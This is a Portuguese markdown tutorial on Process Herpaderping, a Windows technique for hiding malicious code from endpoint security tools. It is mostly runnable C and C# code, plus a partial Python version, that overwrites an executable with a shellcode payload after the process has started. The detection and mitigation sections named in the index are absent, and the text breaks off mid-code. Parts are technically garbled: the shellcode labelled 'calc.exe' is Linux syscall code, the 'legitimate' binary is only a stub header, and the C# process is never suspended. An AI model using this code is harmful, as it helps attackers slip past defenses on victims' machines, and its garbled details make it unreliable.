# Process Herpaderping

## 📑 **Índice**

1. [Fundamentos do Process Herpaderping](#-fundamentos-do-process-herpaderping)
2. [Arquitetura e Mecanismos](#-arquitetura-e-mecanismos)
3. [Técnicas de Exploração](#-técnicas-de-exploração)
4. [Implementação em C/C++](#-implementação-em-cc)
5. [Implementação em C#/.NET](#-implementação-em-cnet)
6. [Implementação em Python](#-implementação-em-python)
7. [Detecção e Monitoramento](#-detecção-e-monitoramento)
8. [Mitigação e Prevenção](#-mitigação-e-prevenção)

***

## 🔍 **Fundamentos do Process Herpaderping**

### **O que é Process Herpaderping?**

Process Herpaderping é uma técnica avançada de evasão de segurança que explora a ordem em que o Windows cria processos e mapeia arquivos. A técnica permite executar código malicioso enquanto engana mecanismos de segurança que monitoram a criação de processos. Descoberta por pesquisadores da Elastic Security em 2021, o Process Herpaderping explora a janela de tempo entre a criação do processo e a finalização do mapeamento do arquivo.

### **Origem do Nome**

O nome "Herpaderping" é uma brincadeira com "herp derp" (gíria da internet para comportamento tolo) e "ping", refletindo a natureza sutil da técnica que explora uma lacuna no modelo de segurança do Windows.

### **Contexto Histórico**

```yaml
Evolução do Process Herpaderping:
  2017: Process Doppelgänging (transações NTFS)
  2018: Pesquisas sobre timing attacks em criação de processos
  2021: Descoberta formal pela Elastic Security
  2021: Apresentação na Black Hat USA
  2022: Implementação em malwares e red team tools
  2023: Mitigações parciais da Microsoft
  2024: Técnica ainda efetiva em sistemas sem patches
```

### **Comparação com Técnicas Relacionadas**

| Técnica                   | Arquivo no Disco    | Detecção    | Mecanismo              |
| ------------------------- | ------------------- | ----------- | ---------------------- |
| **Process Hollowing**     | Original preservado | Média       | Substituição de código |
| **Process Doppelgänging** | Original intacto    | Baixa       | Transações NTFS        |
| **Process Ghosting**      | Arquivo deletado    | Muito Baixa | Delete pending         |
| **Process Herpaderping**  | Arquivo modificado  | Baixa       | Race condition         |

### **Princípio Básico**

```mermaid
graph TD
    A[Atacante] --> B[Cria arquivo legítimo]
    B --> C[Cria processo suspenso]
    C --> D[Substitui arquivo]
    D --> E[Retoma processo]
    E --> F[Processo executa código malicioso]
    F --> G[Imagem do processo mostra arquivo legítimo]
    
    subgraph "Exploração"
        H[Race condition]
        I[Junção de mapeamento vs imagem]
        J[Bypass de EDRs]
    end
```

***

## 🏗️ **Arquitetura e Mecanismos**

### **A Janela de Herpaderping**

A técnica explora a ordem específica de operações quando um processo é criado:

1. **Criação do processo** - O kernel aloca estruturas internas
2. **Mapeamento da imagem** - O arquivo é mapeado na memória
3. **Criação da thread principal** - O processo começa a executar
4. **Fechamento do handle** - O arquivo é liberado

A vulnerabilidade está na janela entre o mapeamento da imagem e a criação da thread, onde o arquivo pode ser modificado sem afetar o processo já mapeado.

### **APIs Utilizadas**

```c
// APIs principais do Process Herpaderping
CreateFile()                // Criar arquivo legítimo
WriteFile()                 // Escrever conteúdo legítimo
CreateProcess()             // Criar processo suspenso (CREATE_SUSPENDED)
CreateFile()                // Reabrir arquivo (compartilhado)
WriteFile()                 // Sobrescrever com payload
SetFileInformationByHandle() // Atualizar informações
ResumeThread()              // Retomar execução
```

### **Fluxo de Execução Detalhado**

```mermaid
sequenceDiagram
    participant A as Atacante
    participant F as Sistema de Arquivos
    participant K as Kernel
    participant P as Processo
    participant E as EDR

    A->>F: CreateFile("legit.exe")
    A->>F: WriteFile(conteúdo legítimo)
    A->>K: CreateProcess(suspenso)
    K->>K: Aloca estruturas
    K->>F: Mapeia imagem legítima
    
    Note over A,F: Janela crítica
    A->>F: CreateFile("legit.exe", compartilhado)
    A->>F: WriteFile(payload)
    A->>F: SetFileInformationByHandle
    
    Note over K,P: Imagem do processo<br/>ainda é o conteúdo legítimo
    A->>K: ResumeThread()
    P->>P: Executa payload
    
    Note over E: EDR vê:<br/>- Arquivo legítimo no disco<br/>- Processo legítimo na memória
```

***

## ⚔️ **Técnicas de Exploração**

### **1. Process Herpaderping Básico**

```c
#include <windows.h>
#include <stdio.h>

// Conteúdo legítimo (exemplo: programa que exibe mensagem)
unsigned char legitimateContent[] = 
"\x4D\x5A\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00\xFF\xFF\x00\x00"
"\xB8\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00"
// ... conteúdo de um executável legítimo completo
;

// Payload malicioso (calc.exe)
unsigned char payload[] = 
"\x48\x31\xc0\x50\x48\xb8\x63\x61\x6c\x63\x2e\x65\x78\x65\x50\x48"
"\x89\xe2\x48\x31\xc0\x50\x48\x8d\x52\x04\x48\x89\xe1\x48\x31\xc0"
"\xb0\x3b\x0f\x05";

SIZE_T legitimateSize = sizeof(legitimateContent);
SIZE_T payloadSize = sizeof(payload);

BOOL ProcessHerpaderping(LPCWSTR targetPath) {
    HANDLE hFile = INVALID_HANDLE_VALUE;
    HANDLE hProcess = NULL;
    HANDLE hThread = NULL;
    DWORD bytesWritten;
    STARTUPINFOW si = { sizeof(si) };
    PROCESS_INFORMATION pi = {0};
    
    // 1. Criar arquivo legítimo
    hFile = CreateFileW(targetPath,
        GENERIC_READ | GENERIC_WRITE,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        NULL,
        CREATE_ALWAYS,
        FILE_ATTRIBUTE_NORMAL,
        NULL);
    
    if (hFile == INVALID_HANDLE_VALUE) {
        printf("[-] CreateFile (legitimate) failed: %lu\n", GetLastError());
        return FALSE;
    }
    
    // 2. Escrever conteúdo legítimo
    if (!WriteFile(hFile, legitimateContent, legitimateSize, &bytesWritten, NULL)) {
        printf("[-] WriteFile (legitimate) failed: %lu\n", GetLastError());
        CloseHandle(hFile);
        return FALSE;
    }
    printf("[+] Legitimate file created: %S\n", targetPath);
    
    // 3. Criar processo suspenso
    if (!CreateProcessW(targetPath, NULL, NULL, NULL, FALSE,
                        CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
        printf("[-] CreateProcess failed: %lu\n", GetLastError());
        CloseHandle(hFile);
        return FALSE;
    }
    printf("[+] Process created suspended (PID: %lu)\n", pi.dwProcessId);
    
    // 4. Reabrir arquivo com compartilhamento (a chave!)
    CloseHandle(hFile);
    
    hFile = CreateFileW(targetPath,
        GENERIC_READ | GENERIC_WRITE,
        FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
        NULL,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL,
        NULL);
    
    if (hFile == INVALID_HANDLE_VALUE) {
        printf("[-] Reopen file failed: %lu\n", GetLastError());
        TerminateProcess(pi.hProcess, 0);
        CloseHandle(pi.hThread);
        CloseHandle(pi.hProcess);
        return FALSE;
    }
    
    // 5. Sobrescrever com payload
    if (!WriteFile(hFile, payload, payloadSize, &bytesWritten, NULL)) {
        printf("[-] WriteFile (payload) failed: %lu\n", GetLastError());
        CloseHandle(hFile);
        TerminateProcess(pi.hProcess, 0);
        CloseHandle(pi.hThread);
        CloseHandle(pi.hProcess);
        return FALSE;
    }
    printf("[+] File overwritten with payload\n");
    
    // 6. Definir tamanho final
    SetEndOfFile(hFile);
    CloseHandle(hFile);
    
    // 7. Retomar processo
    ResumeThread(pi.hThread);
    printf("[+] Thread resumed\n");
    
    // 8. Limpeza
    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);
    
    return TRUE;
}
```

### **2. Process Herpaderping Completo com Sincronização**

```c
// process_herpaderping_full.c
// Implementação completa com sincronização precisa

#include <windows.h>
#include <winternl.h>
#include <stdio.h>
#include <stdlib.h>

#pragma comment(lib, "ntdll.lib")

// Estruturas NT
typedef NTSTATUS (NTAPI* pNtCreateProcess)(
    PHANDLE ProcessHandle,
    ACCESS_MASK DesiredAccess,
    POBJECT_ATTRIBUTES ObjectAttributes,
    HANDLE ParentProcess,
    ULONG Flags,
    HANDLE SectionHandle,
    HANDLE DebugPort,
    HANDLE ExceptionPort,
    ULONG_PTR Unknown
);

// Payload de exemplo (calc.exe)
unsigned char payload[] = 
"\x48\x31\xc0\x50\x48\xb8\x63\x61\x6c\x63\x2e\x65\x78\x65\x50\x48"
"\x89\xe2\x48\x31\xc0\x50\x48\x8d\x52\x04\x48\x89\xe1\x48\x31\xc0"
"\xb0\x3b\x0f\x05";

// Conteúdo legítimo mínimo (MZ header)
unsigned char legitimateContent[] = {
    0x4D, 0x5A, 0x90, 0x00, 0x03, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00,
    0xFF, 0xFF, 0x00, 0x00, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
};

typedef struct _HERPADERPING_CONTEXT {
    WCHAR tempPath[MAX_PATH];
    HANDLE hProcess;
    HANDLE hThread;
    DWORD pid;
} HERPADERPING_CONTEXT, *PHERPADERPING_CONTEXT;

// Função para criar arquivo legítimo
BOOL CreateLegitimateFile(LPCWSTR filePath) {
    HANDLE hFile = CreateFileW(filePath,
        GENERIC_READ | GENERIC_WRITE,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        NULL,
        CREATE_ALWAYS,
        FILE_ATTRIBUTE_NORMAL,
        NULL);
    
    if (hFile == INVALID_HANDLE_VALUE) return FALSE;
    
    DWORD bytesWritten;
    WriteFile(hFile, legitimateContent, sizeof(legitimateContent), &bytesWritten, NULL);
    SetEndOfFile(hFile);
    CloseHandle(hFile);
    
    return TRUE;
}

// Função para criar processo suspenso
BOOL CreateSuspendedProcess(LPCWSTR filePath, PHERPADERPING_CONTEXT ctx) {
    STARTUPINFOW si = { sizeof(si) };
    PROCESS_INFORMATION pi = {0};
    
    if (!CreateProcessW(filePath, NULL, NULL, NULL, FALSE,
                        CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
        return FALSE;
    }
    
    ctx->hProcess = pi.hProcess;
    ctx->hThread = pi.hThread;
    ctx->pid = pi.dwProcessId;
    
    return TRUE;
}

// Função para sobrescrever arquivo durante execução
BOOL OverwriteFile(LPCWSTR filePath, unsigned char* payload, SIZE_T payloadSize) {
    HANDLE hFile = CreateFileW(filePath,
        GENERIC_READ | GENERIC_WRITE,
        FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
        NULL,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL,
        NULL);
    
    if (hFile == INVALID_HANDLE_VALUE) return FALSE;
    
    // Posicionar no início
    SetFilePointer(hFile, 0, NULL, FILE_BEGIN);
    
    DWORD bytesWritten;
    WriteFile(hFile, payload, payloadSize, &bytesWritten, NULL);
    SetEndOfFile(hFile);
    
    CloseHandle(hFile);
    return TRUE;
}

// Função principal
BOOL ProcessHerpaderpingAdvanced(LPCWSTR targetExe) {
    HERPADERPING_CONTEXT ctx = {0};
    BOOL success = FALSE;
    
    printf("[*] Process Herpaderping starting\n");
    printf("[*] Target: %S\n", targetExe);
    
    // Criar arquivo temporário
    GetTempPathW(MAX_PATH, ctx.tempPath);
    GetTempFileNameW(ctx.tempPath, L"herp", 0, ctx.tempPath);
    
    printf("[+] Creating legitimate file: %S\n", ctx.tempPath);
    if (!CreateLegitimateFile(ctx.tempPath)) {
        printf("[-] Failed to create legitimate file\n");
        return FALSE;
    }
    
    printf("[+] Creating suspended process from legitimate file\n");
    if (!CreateSuspendedProcess(ctx.tempPath, &ctx)) {
        printf("[-] Failed to create suspended process\n");
        return FALSE;
    }
    printf("[+] Process created suspended (PID: %lu)\n", ctx.pid);
    
    // Janela crítica - arquivo ainda contém conteúdo legítimo
    printf("[+] Overwriting file with payload (race condition)\n");
    if (!OverwriteFile(ctx.tempPath, payload, sizeof(payload))) {
        printf("[-] Failed to overwrite file\n");
        TerminateProcess(ctx.hProcess, 0);
        CloseHandle(ctx.hThread);
        CloseHandle(ctx.hProcess);
        return FALSE;
    }
    printf("[+] File overwritten with payload\n");
    
    // Retomar processo
    printf("[+] Resuming thread\n");
    ResumeThread(ctx.hThread);
    
    // Aguardar um momento para o processo executar
    Sleep(1000);
    
    // Limpeza
    CloseHandle(ctx.hThread);
    CloseHandle(ctx.hProcess);
    
    // Remover arquivo (opcional)
    DeleteFileW(ctx.tempPath);
    
    printf("[+] Process Herpaderping successful!\n");
    return TRUE;
}

int main() {
    printf("=== Process Herpaderping ===\n\n");
    
    LPCWSTR targetExe = L"C:\\Windows\\System32\\svchost.exe";
    
    if (ProcessHerpaderpingAdvanced(targetExe)) {
        printf("\n[+] Payload executed!\n");
        printf("[+] File was overwritten after process creation\n");
        printf("[+] Security tools see legitimate file image\n");
    } else {
        printf("[-] Process Herpaderping failed\n");
    }
    
    return 0;
}
```

### **3. Process Herpaderping com Seção Mapeada**

```c
// Técnica usando seções mapeadas para maior controle
BOOL ProcessHerpaderpingWithSection(LPCWSTR filePath, unsigned char* payload, SIZE_T payloadSize) {
    HANDLE hFile;
    HANDLE hSection;
    HANDLE hProcess;
    HANDLE hThread;
    PVOID pView;
    STARTUPINFOW si = { sizeof(si) };
    PROCESS_INFORMATION pi = {0};
    
    // 1. Criar arquivo legítimo
    hFile = CreateFileW(filePath, GENERIC_READ | GENERIC_WRITE,
                        FILE_SHARE_READ | FILE_SHARE_WRITE, NULL,
                        CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    WriteFile(hFile, legitimateContent, sizeof(legitimateContent), NULL, NULL);
    SetEndOfFile(hFile);
    CloseHandle(hFile);
    
    // 2. Criar processo suspenso
    CreateProcessW(filePath, NULL, NULL, NULL, FALSE,
                   CREATE_SUSPENDED, NULL, NULL, &si, &pi);
    
    // 3. Criar seção a partir do arquivo
    hFile = CreateFileW(filePath, GENERIC_READ | GENERIC_WRITE,
                        FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
                        NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    
    hSection = CreateFileMapping(hFile, NULL, PAGE_READWRITE, 0, 0, NULL);
    CloseHandle(hFile);
    
    // 4. Mapear seção e escrever payload
    pView = MapViewOfFile(hSection, FILE_MAP_WRITE, 0, 0, 0);
    memcpy(pView, payload, payloadSize);
    UnmapViewOfFile(pView);
    CloseHandle(hSection);
    
    // 5. Retomar processo
    ResumeThread(pi.hThread);
    
    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);
    
    return TRUE;
}
```

### **4. Process Herpaderping com Sincronização Fina**

```c
// Uso de eventos para sincronização precisa
BOOL ProcessHerpaderpingSync(LPCWSTR filePath, unsigned char* payload, SIZE_T payloadSize) {
    HANDLE hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);
    HANDLE hFile;
    PROCESS_INFORMATION pi = {0};
    STARTUPINFOW si = { sizeof(si) };
    
    // Criar arquivo legítimo
    hFile = CreateFileW(filePath, GENERIC_READ | GENERIC_WRITE,
                        FILE_SHARE_READ | FILE_SHARE_WRITE, NULL,
                        CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    WriteFile(hFile, legitimateContent, sizeof(legitimateContent), NULL, NULL);
    SetEndOfFile(hFile);
    CloseHandle(hFile);
    
    // Criar processo suspenso com evento para sincronização
    CreateProcessW(filePath, NULL, NULL, NULL, FALSE,
                   CREATE_SUSPENDED, NULL, NULL, &si, &pi);
    
    // Aguardar o processo atingir o ponto de sincronização
    // (Isso exigiria um mecanismo mais complexo)
    
    // Sobrescrever arquivo
    hFile = CreateFileW(filePath, GENERIC_READ | GENERIC_WRITE,
                        FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
                        NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    WriteFile(hFile, payload, payloadSize, NULL, NULL);
    SetEndOfFile(hFile);
    CloseHandle(hFile);
    
    // Retomar processo
    ResumeThread(pi.hThread);
    
    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);
    
    return TRUE;
}
```

***

## 🔧 **Implementação em C/C++**

### **Process Herpaderping Full Implementation**

```c
// process_herpaderping_advanced.c
// Implementação completa com tratamento de erros e logging

#include <windows.h>
#include <winternl.h>
#include <stdio.h>
#include <stdlib.h>
#include <time.h>

#pragma comment(lib, "ntdll.lib")

// Estrutura de contexto
typedef struct {
    WCHAR tempFile[MAX_PATH];
    HANDLE hProcess;
    HANDLE hThread;
    DWORD pid;
    BOOL success;
} HERPADERPING_CTX;

// Gerar executável legítimo mínimo
BOOL GenerateLegitimatePE(LPCWSTR filePath) {
    // Criar um executável mínimo válido
    // (Exemplo simplificado - em produção usar um executável real)
    
    HANDLE hFile = CreateFileW(filePath,
        GENERIC_READ | GENERIC_WRITE,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        NULL,
        CREATE_ALWAYS,
        FILE_ATTRIBUTE_NORMAL,
        NULL);
    
    if (hFile == INVALID_HANDLE_VALUE) return FALSE;
    
    // Escrever cabeçalho MZ mínimo
    BYTE mzHeader[] = {
        0x4D, 0x5A, 0x90, 0x00, 0x03, 0x00, 0x00, 0x00,
        0x04, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0x00, 0x00,
        0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
    };
    
    DWORD bytesWritten;
    WriteFile(hFile, mzHeader, sizeof(mzHeader), &bytesWritten, NULL);
    SetEndOfFile(hFile);
    CloseHandle(hFile);
    
    return TRUE;
}

// Payload malicioso (calc.exe shellcode)
unsigned char payload[] = 
"\x48\x31\xc0\x50\x48\xb8\x63\x61\x6c\x63\x2e\x65\x78\x65\x50\x48"
"\x89\xe2\x48\x31\xc0\x50\x48\x8d\x52\x04\x48\x89\xe1\x48\x31\xc0"
"\xb0\x3b\x0f\x05";

// Função para criar processo suspenso
BOOL CreateSuspendedProcessFromFile(LPCWSTR filePath, HERPADERPING_CTX* ctx) {
    STARTUPINFOW si = { sizeof(si) };
    PROCESS_INFORMATION pi = {0};
    
    if (!CreateProcessW(filePath, NULL, NULL, NULL, FALSE,
                        CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
        return FALSE;
    }
    
    ctx->hProcess = pi.hProcess;
    ctx->hThread = pi.hThread;
    ctx->pid = pi.dwProcessId;
    
    return TRUE;
}

// Função para sobrescrever arquivo
BOOL OverwriteFileWithPayload(LPCWSTR filePath, unsigned char* payload, SIZE_T payloadSize) {
    HANDLE hFile = CreateFileW(filePath,
        GENERIC_READ | GENERIC_WRITE,
        FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
        NULL,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL,
        NULL);
    
    if (hFile == INVALID_HANDLE_VALUE) return FALSE;
    
    // Posicionar no início
    SetFilePointer(hFile, 0, NULL, FILE_BEGIN);
    
    DWORD bytesWritten;
    if (!WriteFile(hFile, payload, payloadSize, &bytesWritten, NULL)) {
        CloseHandle(hFile);
        return FALSE;
    }
    
    SetEndOfFile(hFile);
    CloseHandle(hFile);
    
    return TRUE;
}

// Função principal
BOOL ProcessHerpaderping(LPCWSTR targetExe) {
    HERPADERPING_CTX ctx = {0};
    BOOL success = FALSE;
    
    printf("[*] Process Herpaderping - Advanced Implementation\n");
    printf("[*] ==============================================\n\n");
    
    // 1. Gerar arquivo temporário
    GetTempPathW(MAX_PATH, ctx.tempFile);
    GetTempFileNameW(ctx.tempFile, L"herp", 0, ctx.tempFile);
    wcscat(ctx.tempFile, L".exe");
    
    printf("[1] Creating legitimate PE: %S\n", ctx.tempFile);
    if (!GenerateLegitimatePE(ctx.tempFile)) {
        printf("[-] Failed to create legitimate PE\n");
        return FALSE;
    }
    printf("[+] Legitimate PE created\n");
    
    // 2. Criar processo suspenso
    printf("[2] Creating suspended process\n");
    if (!CreateSuspendedProcessFromFile(ctx.tempFile, &ctx)) {
        printf("[-] Failed to create suspended process (Error: %lu)\n", GetLastError());
        DeleteFileW(ctx.tempFile);
        return FALSE;
    }
    printf("[+] Process created suspended (PID: %lu)\n", ctx.pid);
    
    // 3. Aguardar um momento (janela crítica)
    printf("[3] Entering critical window\n");
    Sleep(10);
    
    // 4. Sobrescrever arquivo com payload
    printf("[4] Overwriting file with payload\n");
    if (!OverwriteFileWithPayload(ctx.tempFile, payload, sizeof(payload))) {
        printf("[-] Failed to overwrite file\n");
        TerminateProcess(ctx.hProcess, 0);
        CloseHandle(ctx.hThread);
        CloseHandle(ctx.hProcess);
        DeleteFileW(ctx.tempFile);
        return FALSE;
    }
    printf("[+] File overwritten with payload (%lu bytes)\n", sizeof(payload));
    
    // 5. Retomar thread
    printf("[5] Resuming thread\n");
    ResumeThread(ctx.hThread);
    
    // 6. Aguardar execução
    Sleep(500);
    
    // 7. Verificar se o processo ainda está vivo
    DWORD exitCode;
    if (GetExitCodeProcess(ctx.hProcess, &exitCode) && exitCode == STILL_ACTIVE) {
        printf("[+] Payload executing successfully\n");
        success = TRUE;
    } else {
        printf("[-] Process terminated unexpectedly\n");
    }
    
    // 8. Limpeza
    CloseHandle(ctx.hThread);
    CloseHandle(ctx.hProcess);
    
    // 9. Remover arquivo
    DeleteFileW(ctx.tempFile);
    printf("[+] Cleanup complete\n");
    
    return success;
}

// Payload alternativo para teste
unsigned char testPayload[] = 
"\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\xb0\x02\x0f\x05"
"\x48\x31\xc0\xb0\x3c\x48\x31\xff\x0f\x05";

int main(int argc, char** argv) {
    printf("=== Process Herpaderping ===\n\n");
    
    LPCWSTR targetExe = L"C:\\Windows\\System32\\notepad.exe";
    
    if (argc > 1) {
        // Converter para wide string
        WCHAR wideTarget[MAX_PATH];
        MultiByteToWideChar(CP_ACP, 0, argv[1], -1, wideTarget, MAX_PATH);
        targetExe = wideTarget;
    }
    
    if (ProcessHerpaderping(targetExe)) {
        printf("\n[+] Process Herpaderping successful!\n");
        printf("[+] Payload executed while file appears legitimate\n");
    } else {
        printf("\n[-] Process Herpaderping failed\n");
    }
    
    return 0;
}
```

***

## 🚀 **Implementação em C#/.NET**

```csharp
using System;
using System.Diagnostics;
using System.IO;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;

class ProcessHerpaderpingInjector
{
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern IntPtr CreateFile(string lpFileName, uint dwDesiredAccess,
                                     uint dwShareMode, IntPtr lpSecurityAttributes,
                                     uint dwCreationDisposition, uint dwFlagsAndAttributes,
                                     IntPtr hTemplateFile);
    
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern bool WriteFile(IntPtr hFile, byte[] lpBuffer, uint nNumberOfBytesToWrite,
                                  out uint lpNumberOfBytesWritten, IntPtr lpOverlapped);
    
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern bool CloseHandle(IntPtr hObject);
    
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern bool SetEndOfFile(IntPtr hFile);
    
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern bool SetFilePointer(IntPtr hFile, int lDistanceToMove,
                                       out int lpDistanceToMoveHigh, uint dwMoveMethod);
    
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern bool GetTempPath(int nBufferLength, StringBuilder lpBuffer);
    
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern int GetTempFileName(string lpPathName, string lpPrefixString,
                                       uint uUnique, StringBuilder lpTempFileName);
    
    // Constants
    const uint GENERIC_READ = 0x80000000;
    const uint GENERIC_WRITE = 0x40000000;
    const uint FILE_SHARE_READ = 0x00000001;
    const uint FILE_SHARE_WRITE = 0x00000002;
    const uint FILE_SHARE_DELETE = 0x00000004;
    const uint CREATE_ALWAYS = 2;
    const uint OPEN_EXISTING = 3;
    const uint FILE_ATTRIBUTE_NORMAL = 0x80;
    const uint FILE_BEGIN = 0;
    
    // Conteúdo legítimo mínimo (MZ header)
    static byte[] legitimateContent = {
        0x4D, 0x5A, 0x90, 0x00, 0x03, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00,
        0xFF, 0xFF, 0x00, 0x00, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
    };
    
    // Shellcode (calc.exe)
    static byte[] payload = {
        0x48, 0x31, 0xC0, 0x50, 0x48, 0xB8, 0x63, 0x61, 0x6C, 0x63,
        0x2E, 0x65, 0x78, 0x65, 0x50, 0x48, 0x89, 0xE2, 0x48, 0x31,
        0xC0, 0x50, 0x48, 0x8D, 0x52, 0x04, 0x48, 0x89, 0xE1, 0x48,
        0x31, 0xC0, 0xB0, 0x3B, 0x0F, 0x05
    };
    
    static bool CreateLegitimateFile(string filePath)
    {
        IntPtr hFile = CreateFile(filePath,
            GENERIC_READ | GENERIC_WRITE,
            FILE_SHARE_READ | FILE_SHARE_WRITE,
            IntPtr.Zero,
            CREATE_ALWAYS,
            FILE_ATTRIBUTE_NORMAL,
            IntPtr.Zero);
        
        if (hFile == IntPtr.Zero) return false;
        
        uint bytesWritten;
        bool result = WriteFile(hFile, legitimateContent, (uint)legitimateContent.Length,
                                 out bytesWritten, IntPtr.Zero);
        
        SetEndOfFile(hFile);
        CloseHandle(hFile);
        
        return result;
    }
    
    static bool OverwriteFile(string filePath, byte[] data)
    {
        IntPtr hFile = CreateFile(filePath,
            GENERIC_READ | GENERIC_WRITE,
            FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
            IntPtr.Zero,
            OPEN_EXISTING,
            FILE_ATTRIBUTE_NORMAL,
            IntPtr.Zero);
        
        if (hFile == IntPtr.Zero) return false;
        
        SetFilePointer(hFile, 0, out _, FILE_BEGIN);
        
        uint bytesWritten;
        bool result = WriteFile(hFile, data, (uint)data.Length,
                                 out bytesWritten, IntPtr.Zero);
        
        SetEndOfFile(hFile);
        CloseHandle(hFile);
        
        return result;
    }
    
    static bool ProcessHerpaderping(string targetExe)
    {
        Console.WriteLine("[*] Process Herpaderping - C# Implementation");
        Console.WriteLine("[*] ========================================\n");
        
        // Criar arquivo temporário
        StringBuilder tempPath = new StringBuilder(260);
        GetTempPath(260, tempPath);
        
        StringBuilder tempFile = new StringBuilder(260);
        GetTempFileName(tempPath.ToString(), "herp", 0, tempFile);
        string tempFilePath = tempFile.ToString() + ".exe";
        
        Console.WriteLine($"[1] Creating legitimate file: {tempFilePath}");
        if (!CreateLegitimateFile(tempFilePath))
        {
            Console.WriteLine("[-] Failed to create legitimate file");
            return false;
        }
        Console.WriteLine("[+] Legitimate file created");
        
        // Criar processo suspenso
        Console.WriteLine("[2] Creating suspended process");
        ProcessStartInfo psi = new ProcessStartInfo
        {
            FileName = tempFilePath,
            UseShellExecute = false,
            CreateNoWindow = true
        };
        
        Process process = new Process();
        process.StartInfo = psi;
        process.Start();
        
        Console.WriteLine($"[+] Process created (PID: {process.Id})");
        
        // Aguardar um momento
        Thread.Sleep(10);
        
        // Sobrescrever arquivo
        Console.WriteLine("[3] Overwriting file with payload");
        if (!OverwriteFile(tempFilePath, payload))
        {
            Console.WriteLine("[-] Failed to overwrite file");
            process.Kill();
            return false;
        }
        Console.WriteLine($"[+] File overwritten with payload ({payload.Length} bytes)");
        
        // Processo já está executando com o payload em memória
        Console.WriteLine("[+] Payload executing (if process is running)");
        
        // Aguardar um momento
        Thread.Sleep(2000);
        
        // Limpeza
        File.Delete(tempFilePath);
        Console.WriteLine("[+] Cleanup complete");
        
        return true;
    }
    
    static void Main(string[] args)
    {
        string targetExe = args.Length > 0 ? args[0] : "C:\\Windows\\System32\\notepad.exe";
        
        if (ProcessHerpaderping(targetExe))
        {
            Console.WriteLine("\n[+] Process Herpaderping successful!");
        }
        else
        {
            Console.WriteLine("\n[-] Process Herpaderping failed");
        }
    }
}
```

***

## 🐍 **Implementação em Python**

```python
#!/usr/bin/env python3
# process_herpaderping.py

import ctypes
import ctypes.wintypes
import os
import sys
import time
import subprocess

# Windows API definitions
kernel32 = ctypes.windll.kernel32

# Constants
GENERIC_READ = 0x80000000
GENERIC_WRITE = 0x40000000
FILE_SHARE_READ = 0x00000001
FILE_SHARE_WRITE = 0x00000002
FILE_SHARE_DELETE = 0x00000004
CREATE_ALWAYS = 2
OPEN_EXISTING = 3
FILE_ATTRIBUTE_NORMAL = 0x80
FILE_BEGIN = 0

# Conteúdo legítimo mínimo (MZ header)
legitimate_content = bytearray([
    0x4D, 0x5A, 0x90, 0x00, 0x03, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00,
    0xFF, 0xFF, 0x00, 0x00, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
